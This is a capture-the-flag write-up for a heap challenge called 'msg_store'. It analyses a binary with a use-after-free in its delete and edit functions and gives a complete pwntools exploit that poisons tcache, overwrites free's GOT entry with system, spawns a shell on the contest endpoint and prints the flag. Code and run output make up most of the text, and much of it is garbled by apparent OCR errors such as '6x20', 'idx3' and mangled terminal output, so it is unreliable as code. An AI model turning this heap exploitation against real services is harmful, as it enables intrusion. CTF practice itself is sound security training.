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we are given a binary file and an endpoint as 35.184.207.253:1337

) file vuln && checksec vuln

vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interp
reter /1ib64/1d-1inux-x86-64.s0.2, BuildID[shal]=aea275f8d1be97f13da7705c3cl16dd1id76e5
e2e9, for GNU/Linux 3.2.0, not stripped

[*] '/home/codacker/Workspace/red-team-summit-ctf/phase2/easy_medium/pwn/msg_store/vu
1n'

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (0Ox400000)

Running the binary we see that we are presented with a set of options

) ./vuln
1) add
2) list
3) remove
4) edit
5) exit

Opening the binary in ghidra
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we see there is a function for each of the options we can perform. Analyzing the
function we find that two functions are vulnerable one is delete
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as it doesn't make the pointer null after freeing and the second one edit which
lets us edit an already freed chunk.
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now we can do a classic use-after-free attack on tcache bins to leak the Glibc

address and then call system("/bin/sh)

The following exploit does the same.

#!/usr/bin/env python3
from pwn import *

exe = ELF("./vuln")
libc = ELF("./libc.so.6")
HOST, PORT = '35.184.207.253',1337

context.arch = "amd64"

if args.REMOTE:

io = remote(HOST, PORT)
else:

io = exe.process()

def add(idx, size, data):
io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"size: ")
io.sendline(f"{size}")
io.recvuntil(b" idx: ")
io.sendline(f"{idx}")
io.recvuntil(b"message: ")
io.send(data)
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def delete(idx):
io.recvuntil(b"> ")
io.sendline(b"3")
io.recvuntil(b"idx: ")
io.sendline(f"{idx3}")

def edit(idx, data):
io.recvuntil(b"> ")
io.sendline(b"4")
io.recvuntil(b"idx: ")
io.sendline(f"{idx}")
io.recvuntil(b"string: ")
io.send(data)

def leak():
io.recvuntil(b"> ")
io.sendline(b"2")
io.recvuntil(b"[3] "+b"D"*0x10)
return u64(io.recv(6)+b"\x00\x00" )

add(0, 0x20, b"AAAAAAAA")

add(1, 6x20, b"BBBBBBBB")
delete(0)

delete(1)

edit(1, p64(exe.got["free"]-06x10))
add(2, 0x20, b"ccccceec")

add(3, 6x20, b"D"*0x10)

libc_free = leak()

libc_base = libc_free - libc.symbols["free"]
print(hex(libc_free))
print(hex(libc_base))

add(4, 0x20, b"AAAAAAAA")

add(5, 0x20, b"BBBBBBBB")

delete(4)

delete(5)

edit (5, p64(exe.got["free"]-0x10))

add(6, 0x20, b'"ccccceec")

add(7, 0x20, b"D"*0x10 + p64(libc_base + libc.symbols["system"]))

add(8, 0x20, b"/bin/sh\xe0")
delete(8)

io.interactive()

now running the exploit we get a shell and we can read the flag.
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¥ fxpl.py REMOTE
[<] '/home/codacker/Workspace/red=tcan=summit=ct# /phasel feasy_mediun/pen/msg_store/vuln’
Arch: andBl=6U=1itt1le
HELRO: Partial RELRO
Stach: !
M :

P
' fhone/codacker/MWorkspace/ red-tean—summit-ctf/phase?/casy_mediun/pwn/msg_store/libc. so0.6'
Arch: andtil-64-11

RELRO: Partial RELRO

Stack:
M HX
PIE: PIE en d
[+] Opening connection to 35 184.287.253 on port 1337: Done
BxTFfbObThTed50
BxTFeobTanlodd
[<] Switching to interactive mode
cat flag
ctf{UsI_mallec_fril}
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